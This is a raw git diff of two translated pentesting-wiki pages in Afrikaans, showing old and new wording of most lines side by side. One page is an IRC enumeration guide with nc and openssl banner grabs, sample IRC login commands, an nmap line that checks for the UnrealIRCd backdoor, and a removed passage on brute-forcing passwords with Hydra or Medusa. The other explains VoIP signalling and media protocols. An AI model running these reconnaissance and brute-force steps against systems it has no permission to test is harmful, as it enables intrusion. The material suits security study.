<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
IRC, aanvanklik 'n **plain text-protokol**, is toegewys aan **194/TCP** deur IANA, maar word gewoonlik uitgevoer op **6667/TCP** en soortgelyke poorte om te voorkom dat **root-voorregte** nodig is vir bedryf.
IRC, aanvanklik 'n **platte teksprotokol**, is deur IANA toegewys aan **194/TCP** maar word gewoonlik op **6667/TCP** en soortgelyke poorte uitgevoer om te vermy dat **root-voorregte** vir werking benodig word.
'n **Bynaam** is alles wat nodig is om met 'n bediener te verbind. Na die verbinding voer die bediener 'n omgekeerde DNS-opsoek uit op die IP-adres van die gebruiker.
'n **Bynaam** is alles wat nodig is om met 'n bediener te verbind. Na die verbinding voer die bediener 'n omgekeerde DNS-opsoek uit op die gebruiker se IP.
Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoord** nodig het vir meer toegang, en gewone **gebruikers**. Operateurs het verskillende vlakke van voorregte, met administrateurs bo-aan.
@ -27,18 +41,18 @@ Gebruikers word verdeel in **operateurs**, wat 'n **gebruikersnaam** en **wagwoo
PORT STATE SERVICE
6667/tcp open irc
```
## Opname
## Opsomming
### Banier
IRC kan **TLS** ondersteun.
IRC kan TLS ondersteun.
```bash
nc -vn <IP> <PORT>
openssl s_client -connect <IP>:<PORT> -quiet
```
### Handleiding
Hier kan jy sien hoe om te verbind en toegang te verkry tot die IRC deur gebruik te maak van 'n **willekeurige bynaam** en dan sekere interessante inligting op te som. Jy kan meer bevele van IRC leer [hier](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP).
Hier kan jy sien hoe om te koppel en toegang te verkry tot die IRC met 'n **willekeurige bynaam** en dan interessante inligting op te som. Jy kan meer bevele van IRC leer [hier](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP).
```bash
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
@ -73,26 +87,7 @@ PASS wealllikedebian
NICK patrick
USER test1 test2 <IP> :test3
```
### **Vind en skandeer IRC-dienste**
IRC (Internet Relay Chat) is 'n kommunikasieprotokol wat gebruik word vir real-time gesprekke oor die internet. Dit is 'n gewilde platform vir gemeenskapsgebaseerde gesprekke en groepskommunikasie. As 'n pentester is dit belangrik om IRC-dienste te vind en te skandeer vir moontlike kwesbaarhede.
#### **1. Identifiseer IRC-dienste**
Om IRC-dienste te vind, kan jy die volgende metodes gebruik:
- **Portskandering**: Skandeer die doelwit se IP-adres vir oop poorte wat verband hou met IRC-dienste. Die standaardpoort vir IRC is 6667, maar dit kan ook op ander poorte bedryf word.
- **Banner Grabbing**: Maak gebruik van 'n gereedskap soos `telnet` om na die baniere van die doelwit se IP-adres te soek. IRC-dienste kan dikwels spesifieke baniere hê wat dit maklik maak om hulle te identifiseer.
#### **2. Skandeer IRC-dienste**
Nadat jy IRC-dienste geïdentifiseer het, kan jy dit skandeer vir moontlike kwesbaarhede. Hier is 'n paar tegnieke wat jy kan gebruik:
- **Niksheid**: Probeer om toegang te verkry tot die IRC-diens sonder om opgemerk te word. Dit kan gedoen word deur die standaardgebruikersnaam en wagwoord te gebruik of deur te soek na bekende swak wagwoorde.
- **Bruteforcing**: Voer 'n bruteforce-aanval uit om die wagwoorde van gebruikers te agterhaal. Maak gebruik van gereedskap soos Hydra of Medusa om verskillende kombinasies van gebruikersname en wagwoorde te probeer.
- **Kwesbaarheidsskandeerders**: Gebruik 'n kwesbaarheidsskandeerder soos Nessus of OpenVAS om te soek na bekende kwesbaarhede in die IRC-diens.
Deur die identifisering en skandering van IRC-dienste kan jy moontlike kwesbaarhede opspoor en uitbuit om toegang tot die stelsel te verkry. Dit is belangrik om hierdie stappe te volg as deel van jou pentesting-proses.
### **Vind en skandeer IRC-diens**
```bash
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 <ip>
```
@ -102,16 +97,29 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
* `opsoek na jou gasheernaam`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -2,18 +2,32 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en losgeldaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Seinprotokolle
### SIP (Session Initiation Protocol)
@ -26,70 +40,96 @@ Dit is die bedryfsstandaard, vir meer inligting kyk:
### MGCP (Media Gateway Control Protocol)
MGCP (Media Gateway Control Protocol) is 'n **sein-** en **oproepbeheerprotokol** wat in RFC 3435 uiteengesit word. Dit werk in 'n gesentraliseerde argitektuur, wat uit drie hoofkomponente bestaan:
MGCP (Media Gateway Control Protocol) is 'n **seinings** en **oproepbeheerprotokol** wat in RFC 3435 beskryf word. Dit werk in 'n gesentraliseerde argitektuur, wat uit drie hoofkomponente bestaan:
1. **Oproepagent of Media Gateway Controller (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir die **bestuur en beheer van die mediapoorte**. Dit hanteer oproepopstelling, wysiging en beëindigingsprosesse. Die MGC kommunikeer met die mediapoorte deur middel van die MGCP-protokol.
2. **Mediapoorte (MG's) of Slave-poorte**: Hierdie toestelle **omskakel digitale mediastrome tussen verskillende netwerke**, soos tradisionele skakelstelseltelefonie en pakketskakel-IP-netwerke. Hulle word deur die MGC bestuur en voer opdragte uit wat van dit ontvang is. Mediapoorte kan funksies soos transkodering, pakketisering en egokansellasie insluit.
3. **Seinpoorte (SG's)**: Hierdie poorte is verantwoordelik vir die **omskakeling van seinboodskappe tussen verskillende netwerke**, wat naadlose kommunikasie tussen tradisionele telefoonstelsels (bv. SS7) en IP-gebaseerde netwerke (bv. SIP of H.323) moontlik maak. Seinpoorte is noodsaaklik vir interoperabiliteit en verseker dat oproepbeheerinligting behoorlik tussen die verskillende netwerke gekommunikeer word.
1. **Oproepagent of Mediapoortbeheerder (MGC)**: Die meesterpoort in die MGCP-argitektuur is verantwoordelik vir **die bestuur en beheer van die mediapoorte**. Dit hanteer oproepopstelling, -modifikasie en -beëindigingsprosesse. Die MGC kommunikeer met die mediapoorte deur die MGCP-protokol.
2. **Mediapoorte (MG's) of Slaafpoorte**: Hierdie toestelle **omskakel digitale mediastrome tussen verskillende netwerke**, soos tradisionele sirkelskakeltelefonie en pakketskakel-IP-netwerke. Hulle word bestuur deur die MGC en voer opdragte uit wat van hom ontvang is. Mediapoorte kan funksies insluit soos transkodering, pakketisering en egokansellasie.
3. **Seinpoorte (SG's)**: Hierdie poorte is verantwoordelik vir **die omskakeling van seinboodskappe tussen verskillende netwerke**, wat naatlose kommunikasie tussen tradisionele telefoonsisteme (bv. SS7) en IP-gebaseerde netwerke (bv. SIP of H.323) moontlik maak. Seinpoorte is noodsaaklik vir interoperabiliteit en verseker dat oproepbeheerinligting behoorlik tussen die verskillende netwerke gekommunikeer word.
Kortliks, MGCP sentraliseer die oproepbeheerlogika in die oproepagent, wat die bestuur van mediapoorte en seinpoorte vereenvoudig en beter skaalbaarheid, betroubaarheid en doeltreffendheid in telekommunikasienetwerke bied.
Kortom, MGCP sentraliseer die oproepbeheerlogika in die oproepagent, wat die bestuur van mediapoorte en seinpoorte vereenvoudig, beter skaalbaarheid, betroubaarheid en doeltreffendheid in telekommunikasienetwerke bied.
### SCCP (Skinny Client Control Protocol)
Skinny Client Control Protocol (SCCP) is 'n **eiendomsregtelike sein- en oproepbeheerprotokol** wat deur Cisco Systems besit word. Dit word hoofsaaklik **gebruik** vir kommunikasie tussen **Cisco Unified Communications Manager** (voorheen bekend as CallManager) en Cisco IP-telefone of ander Cisco-klank- en videopunte.
Skinny Client Control Protocol (SCCP) is 'n **eiendomlike seinings- en oproepbeheerprotokol** wat deur Cisco Systems besit word. Dit word hoofsaaklik **gebruik** vir kommunikasie tussen **Cisco Unified Communications Manager** (voorheen bekend as CallManager) en Cisco IP-telefone of ander Cisco-stem- en video-eindpunte.
SCCP is 'n ligte protokol wat die kommunikasie tussen die oproepbeheerbediener en die eindpunttoestelle vereenvoudig. Dit word as "Skinny" verwys vanweë sy minimalistiese ontwerp en verminderde bandwydtevereistes in vergelyking met ander VoIP-protokolle soos H.323 of SIP.
Die belangrikste komponente van 'n SCCP-gebaseerde stelsel is:
Die hoofkomponente van 'n SCCP-gebaseerde stelsel is:
1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, wysiging en beëindigingsprosesse, sowel as ander telefoniekenmerke soos oproepstuur, oproepoordrag en oproephou.
2. **SCCP-eindpunte**: Dit is toestelle soos IP-telefone, videovergaderingseenhede of ander Cisco-klank- en videopunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seinboodskappe, en volg die instruksies wat deur die oproepbeheerbediener vir oproephantering verskaf word.
3. **Poorte**: Hierdie toestelle, soos klankpoorte of mediapoorte, is verantwoordelik vir die omskakeling van mediastrome tussen verskillende netwerke, soos tradisionele skakelstelseltelefonie en pakketskakel-IP-netwerke. Hulle kan ook bykomende funksionaliteit insluit, soos transkodering of egokansellasie.
1. **Oproepbeheerbediener**: Hierdie bediener, tipies 'n Cisco Unified Communications Manager, bestuur die oproepopstelling, -modifikasie en -beëindigingsprosesse, asook ander telefoonfunksies soos oproepdeurvorsing, oproepoorplasing en oproepvas.
2. **SCCP-eindpunte**: Dit is toestelle soos IP-telefone, videovergaderingseenhede of ander Cisco-stem- en video-eindpunte wat SCCP gebruik om met die oproepbeheerbediener te kommunikeer. Hulle registreer by die bediener, stuur en ontvang seiningsboodskappe, en volg die instruksies wat deur die oproepbeheerbediener vir oproephantering verskaf word.
3. **Poorte**: Hierdie toestelle, soos stempoorte of mediapoorte, is verantwoordelik vir die omskakeling van mediastrome tussen verskillende netwerke, soos tradisionele sirkelskakeltelefonie en pakketskakel-IP-netwerke. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of egokansellasie.
SCCP bied 'n eenvoudige en doeltreffende kommunikasiemetode tussen Cisco-ooproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om op te let dat **SCCP 'n eiendomsregtelike protokol** is, wat die interoperabiliteit met nie-Cisco-stelsels kan beperk. In sulke gevalle kan ander standaard VoIP-protokolle soos SIP meer geskik wees.
SCCP bied 'n eenvoudige en doeltreffende kommunikasiemetode tussen Cisco oproepbeheerbedieners en eindpunttoestelle. Dit is egter die moeite werd om op te let dat **SCCP 'n eiendomlike protokol** is, wat die interoperabiliteit met nie-Cisco-stelsels kan beperk. In sulke gevalle kan ander standaard VoIP-protokolle soos SIP meer geskik wees.
### H.323
H.323 is 'n **reeks protokolle** vir multimedia kommunikasie, insluitend klank, video en datakonferensies oor pakketskakelnetwerke, soos IP-gebaseerde netwerke. Dit is ontwikkel deur die **International Telecommunication Union** (ITU-T) en bied 'n omvattende raamwerk vir die bestuur van multimedia kommunikasiesessies.
H.323 is 'n **reeks protokolle** vir multimedia-kommunikasie, insluitend stem, video en datavergaderings oor pakketskakelnetwerke, soos IP-gebaseerde netwerke. Dit is ontwikkel deur die **Internasionale Telekommunikasie-unie** (ITU-T) en bied 'n omvattende raamwerk vir die bestuur van multimedia-kommunikasiesessies.
Sommige sleutelkomponente van die H.323-reeks sluit in:
1. **Terminale**: Dit is eindpunttoestelle, soos IP-telefone, videovergaderingstelsels of sagtewaretoepassings, wat H.323 ondersteun en kan deelneem aan multimedia kommunikasiesessies.
2. **Poorte**: Hierdie toestelle omskakel mediastrome tussen verskillende netwerke, soos tradisionele skakelstelseltelefonie en pakketskakel-IP-netwerke, en maak interoperabiliteit tussen H.323 en ander kommunikasiestelsels moontlik. Hulle kan ook bykomende funksionaliteit insluit, soos transkodering of egokansellasie.
3. **Poortbeheerders**: Dit is opsionele komponente wat oproepbeheer- en bestuursdienste in 'n H.323-netwerk voorsien. Hulle voer funksies uit soos adresvertaling, bandwydtebestuur en toelatingsbeheer, wat help om netwerkbronne te bestuur en te optimaliseer.
4. **Multipuntbeheereenhede (MCUs)**: Hierdie toestelle fasiliteer multipunt-konferensies deur mediastrome vanaf verskeie eindpunte te bestuur en te meng. MCUs maak funksies soos video-uitlegbeheer, stemgeaktiveerde skakeling en voortdurende teenwoordigheid moontlik, wat dit moontlik maak om grootskaalse konferensies met verskeie deelnemers aan te bied.
1. **Eindpunte**: Dit is eindpunttoestelle, soos IP-telefone, videovergaderingstelsels of sagtewaretoepassings, wat H.323 ondersteun en kan deelneem aan multimedia-kommunikasiesessies.
2. **Poorte**: Hierdie toestelle omskakel mediastrome tussen verskillende netwerke, soos tradisionele sirkelskakeltelefonie en pakketskakel-IP-netwerke, wat interoperabiliteit tussen H.323 en ander kommunikasiestelsels moontlik maak. Hulle kan ook addisionele funksionaliteit insluit, soos transkodering of egokansellasie.
3. **Poortwagters**: Dit is opsionele komponente wat oproepbeheer- en bestuursdienste in 'n H.323-netwerk verskaf. Hulle voer funksies uit soos adresvertaling, bandwydbeheer en toelatingsbeheer, wat help om netwerkbronne te bestuur en te optimaliseer.
4. **Multipuntbeheereenhede (MCU's)**: Hierdie toestelle fasiliteer multipuntvergaderings deur mediastrome vanaf verskeie eindpunte te bestuur en te meng. MCU's maak funksies moontlik soos videolêrebeheer, stemgeaktiveerde skakeling en deurlopende teenwoordigheid, wat dit moontlik maak om groot-skaalvergaderings met verskeie deelnemers aan te bied.
H.323 ondersteun 'n verskeidenheid klank- en videokodeks, sowel as ander aanvullende dienste soos oproepstuur, o
H.323 ondersteun 'n verskeidenheid van klank- en videokodeks, sowel as ander aanvullende dienste soos oproepdeurvorsing, oproepoorplasing, oproepvas en oproepwag. Ten spyte van sy wye aanvaarding in die vroeë dae van VoIP, is H.323 geleidelik vervang deur meer moderne en buigsame protokolle soos die **Session Initiation Protocol (SIP)**, wat beter interoperabiliteit en makliker implementering bied. Nietemin bly H.323 in gebruik in baie erfenisstelsels en word dit steeds ondersteun deur verskeie toerustingverkopers.
### IAX (Inter Asterisk eXchange)
IAX (Inter-Asterisk eXchange) is 'n **seinings- en oproepbeheerprotokol** wat hoofsaaklik gebruik word vir kommunikasie tussen Asterisk PBX (Private Branch Exchange) -bedieners en ander VoIP-toestelle. Dit is ontwikkel deur Mark Spencer, die skepper van die Asterisk oopbron PBX-sagteware, as 'n alternatief vir ander VoIP-protokolle soos SIP en H.323.
IAX staan bekend vir sy **eenvoud, doeltreffendheid en maklikheid van implementering**. Enkele belangrike kenmerke van IAX sluit in:
1. **Enkele UDP-poort**: IAX gebruik 'n enkele UDP-poort (4569) vir beide seinings- en mediaverkeer, wat firewall- en NAT-deursending vereenvoudig, dit makliker maak om in verskeie netwerkomgewings te implementeer.
2. **Binêre Protokol**: Anders as teksgebaseerde protokolle soos SIP, is IAX 'n binêre protokol, wat die bandwydteverbruik verminder en dit meer doeltreffend maak vir die oordra van seinings- en mediagegewens.
3. **Stamvorming**: IAX ondersteun stamvorming, wat toelaat dat meerdere oproepe in 'n enkele netwerkverbinding gekombineer word, wat oorhoofse verminder en bandwydtebenutting verbeter.
4. **Inheemse Versleuteling**: IAX het ingeboude ondersteuning vir versleuteling, wat metodes soos RSA vir sleuteluitruil en AES vir mediaversleuteling gebruik, wat veilige kommunikasie tussen eindpunte bied.
5. **Punt-tot-Punt Kommunikasie**: IAX kan gebruik word vir direkte kommunikasie tussen eindpunte sonder die behoefte aan 'n sentrale bediener, wat eenvoudiger en doeltreffender oproeprouting moontlik maak.
Ten spyte van sy voordele het IAX enkele beperkings, soos sy primêre fokus op die Asterisk-ekosisteem en minder wye aanvaarding in vergelyking met meer gevestigde protokolle soos SIP. As gevolg hiervan mag IAX nie die beste keuse wees vir interoperabiliteit met nie-Asterisk-stelsels of -toestelle nie. Nietemin bied IAX vir diegene wat binne die Asterisk-omgewing werk, 'n robuuste en doeltreffende oplossing vir VoIP-kommunikasie.
## Oordrag- en Vervoerprotokolle
### SDP (Sessiebeskrywingsprotokol)
### SDP (Session Description Protocol)
SDP (Sessiebeskrywingsprotokol) is 'n **teksgebaseerde formaat** wat gebruik word om die kenmerke van multimedia-sessies, soos spraak, video of datakonferensies, oor IP-netwerke te beskryf. Dit is ontwikkel deur die **Internet Engineering Task Force (IETF)** en word gedefinieer in **RFC 4566**. SDP hanteer nie die werklike media-oordrag of sessie-opstelling nie, maar word saam met ander seinprotokolle, soos **SIP (Sessie-inisiasieprotokol)**, gebruik om te onderhandel en inligting oor die media-strome en hul eienskappe uit te ruil.
SDP (Session Description Protocol) is 'n **teks-gebaseerde formaat** wat gebruik word om die eienskappe van multimedia-sessies, soos stem, video, of data-konferensies, oor IP-netwerke te beskryf. Dit is ontwikkel deur die **Internet Engineering Task Force (IETF)** en is gedefinieer in **RFC 4566**. SDP hanteer nie die werklike media-oordrag of sessie-opstelling nie, maar word saam met ander seineringsprotokolle, soos **SIP (Session Initiation Protocol)**, gebruik om te onderhandel en inligting uit te ruil oor die media-strome en hul eienskappe.
Sommige sleutellemente van SDP sluit in:
Sommige sleutel elemente van SDP sluit in:
1. **Sessie-inligting**: SDP beskryf die besonderhede van 'n multimedia-sessie, insluitend sessienaam, sessiebeskrywing, begin- en eindtyd.
2. **Media-strome**: SDP definieer die eienskappe van media-strome, soos die media-tipe (klank, video of teks), vervoerprotokol (bv. RTP of SRTP) en die media-formaat (bv. kodekinligting).
3. **Verbindingsinligting**: SDP verskaf inligting oor die netwerkadres (IP-adres) en poortnommer waar die media gestuur of ontvang moet word.
4. **Eienskappe**: SDP ondersteun die gebruik van eienskappe om addisionele, opsionele inligting oor 'n sessie of media-stroom te verskaf. Eienskappe kan gebruik word om verskillende kenmerke soos enkripsiesleutels, bandwydtevereistes of media-beheermeganismes te spesifiseer.
2. **Media-strome**: SDP definieer die eienskappe van media-strome, soos die media-tipe (klank, video, of teks), vervoerprotokol (bv., RTP of SRTP), en die media-formaat (bv., kodekinligting).
3. **Verbindingsinligting**: SDP voorsien inligting oor die netwerkadres (IP-adres) en poortnommer waar die media gestuur of ontvang moet word.
4. **Eienskappe**: SDP ondersteun die gebruik van eienskappe om addisionele, opsionele inligting oor 'n sessie of media-stroom te voorsien. Eienskappe kan gebruik word om verskeie kenmerke soos enkripsiesleutels, bandwydtevereistes, of media-beheermeganismes te spesifiseer.
SDP word tipies gebruik in die volgende proses:
SDP word tipies in die volgende proses gebruik:
1. 'n Inisieerende party skep 'n SDP-beskrywing van die voorgestelde multimedia-sessie, insluitend die besonderhede van die media-strome en hul eienskappe.
2. Die SDP-beskrywing word na die ontvangende party gestuur, gewoonlik ingebed binne 'n seinprotokolboodskap soos SIP of RTSP.
3. Die ontvangende party verwerk die SDP-beskrywing en, gebaseer op sy vermoëns, kan dit die voorgestelde sessie aanvaar, verwerp of wysig.
4. Die finale SDP-beskrywing word as deel van die seinprotokolboodskap teruggestuur na die inisieerende party, wat die onderhandelingsproses voltooi.
2. Die SDP-beskrywing word aan die ontvangende party gestuur, gewoonlik ingebed binne 'n seineringsprotokolboodskap soos SIP of RTSP.
3. Die ontvangende party verwerk die SDP-beskrywing, en gebaseer op sy vermoëns, kan dit die voorgestelde sessie aanvaar, verwerp, of wysig.
4. Die finale SDP-beskrywing word terug aan die inisieerende party gestuur as deel van die seineringsprotokolboodskap, wat die onderhandelingsproses voltooi.
SDP se eenvoud en buigsaamheid maak dit 'n wyd aangeneemde standaard vir die beskrywing van multimedia-sessies in verskillende kommunikasiestelsels, en speel 'n belangrike rol in die vestiging en bestuur van regstreekse multimedia-sessies oor IP-netwerke.
SDP se eenvoudigheid en buigsaamheid maak dit 'n wyd-aanvaarde standaard vir die beskrywing van multimedia-sessies in verskeie kommunikasiestelsels, en speel 'n kritieke rol in die vestiging en bestuur van regstreekse multimedia-sessies oor IP-netwerke.
### RTP / RTCP / SRTP / ZRTP
1. **RTP (Regstreekse Vervoerprotokol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van klank- en videodata, of ander regstreekse media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP gewoonlik saam met seinprotokolle soos SIP en H.323 gebruik om multimedia-kommunikasie moontlik te maak. RTP bied meganismes vir **sinsrondering**, **volgordebepaling** en **tydstempeling** van media-strome, wat help om vlot en tydige media-afspeling te verseker.
2. **RTCP (Regstreekse Vervoerbeheerprotokol)**: RTCP is 'n metgeselprotokol vir RTP wat gebruik word vir die monitering van diensgehalte (QoS) en die voorsiening van terugvoer oor die oordrag van media-strome. Gedefinieer in dieselfde **RFC 3550** as RTP, **ruil RTCP periodiek beheerpakette uit tussen deelnemers in 'n RTP-sessie**. Dit deel inligting soos pakkieverlies, jitter en rondreistyd, wat help om netwerktoestande te diagnoseer en aan te pas, en die algehele mediakwaliteit te verbeter.
3. **SRTP (Veilige Regstreekse Vervoerprotokol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie** en **herhaalbeskerming** vir media-strome bied, om die veilige oordrag van sensitiewe klank- en videodata te verseker. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels saam met veilige seinprotokolle soos SIP oor TLS gebruik om end-to-end-veiligheid in multimedia-kommunikasie te bied.
4. **ZRTP (Zimmermann Regstreekse Vervoerprotokol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomstige protokol wat **end-to-end enkripsie** vir RTP-media-strome bied. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat afhanklik is van seinprotokolle vir sleuteluitruiling, is ZRTP ontwerp om onafhanklik van die seinprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikerende partye te vestig, sonder om vooraf vertroue of 'n openbare sleutel-infrastruktuur (PKI) te vereis. ZRTP sluit ook kenmerke soos **Kort Verifikasie-strings (SAS)** in om teen man-in-die-middelaanvalle te beskerm.
1. **RTP (Real-time Transport Protocol)**: RTP is 'n netwerkprotokol wat ontwerp is vir die aflewering van klank- en videodata, of ander regstreekse media, oor IP-netwerke. Ontwikkel deur die **IETF** en gedefinieer in **RFC 3550**, word RTP gewoonlik saam met seineringsprotokolle soos SIP en H.323 gebruik om multimedia-kommunikasie moontlik te maak. RTP voorsien meganismes vir **sinksronisering**, **opeenvolging**, en **tydstempeling** van media-strome, wat help om seker te maak dat media vlot en tydig afgespeel word.
2. **RTCP (Real-time Transport Control Protocol)**: RTCP is 'n metgeselprotokol vir RTP, wat gebruik word vir die monitor van diensgehalte (QoS) en die voorsiening van terugvoer oor die oordrag van media-strome. Gedefinieer in dieselfde **RFC 3550** as RTP, **ruil RTCP periodiek beheerpakkette uit tussen deelnemers in 'n RTP-sessie**. Dit deel inligting soos pakketverlies, jitter, en rondreistyd, wat help om netwerktoestande te diagnoseer en aan te pas, en die algehele mediakwaliteit te verbeter.
3. **SRTP (Secure Real-time Transport Protocol)**: SRTP is 'n uitbreiding van RTP wat **enkripsie**, **boodskapverifikasie**, en **herhaalbeskerming** vir media-strome voorsien, wat verseker dat sensitiewe klank- en videodata veilig oorgedra word. Gedefinieer in **RFC 3711**, gebruik SRTP kriptografiese algoritmes soos AES vir enkripsie en HMAC-SHA1 vir boodskapverifikasie. SRTP word dikwels saam met veilige seineringsprotokolle soos SIP oor TLS gebruik om end-to-end-sekuriteit in multimedia-kommunikasie te bied.
4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP is 'n kriptografiese sleutel-ooreenkomsprotokol wat **end-to-end-enkripsie** vir RTP-media-strome voorsien. Ontwikkel deur Phil Zimmermann, die skepper van PGP, word ZRTP beskryf in **RFC 6189**. Anders as SRTP, wat op seineringsprotokolle staatmaak vir sleuteluitruiling, is ZRTP ontwerp om onafhanklik van die seineringsprotokol te werk. Dit gebruik **Diffie-Hellman sleuteluitruiling** om 'n gedeelde geheim tussen die kommunikerende partye te vestig, sonder om vooraf vertroue of 'n openbare sleutel-infrastruktuur (PKI) te vereis. ZRTP sluit ook kenmerke soos **Kort Verifikasie-strings (SAS)** in om teen man-in-die-middel-aanvalle te beskerm.
Hierdie protokolle speel 'n essensiële rol in die **aflewering en beveiliging van regstreekse multimedia-kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitsmonitering hanteer, verseker SRTP en ZRTP dat die oorgedrae media beskerm is teen afluistering, manipulasie en herhaalaanvalle.
Hierdie protokolle speel essensiële rolle in die **aflewering en beveiliging van regstreekse multimedia-kommunikasie oor IP-netwerke**. Terwyl RTP en RTCP die werklike media-oordrag en kwaliteitsmonitoring hanteer, verseker SRTP en ZRTP dat die oorgedraaide media teen afluistering, manipulasie, en herhaalaanvalle beskerm word.
## WhiteIntel
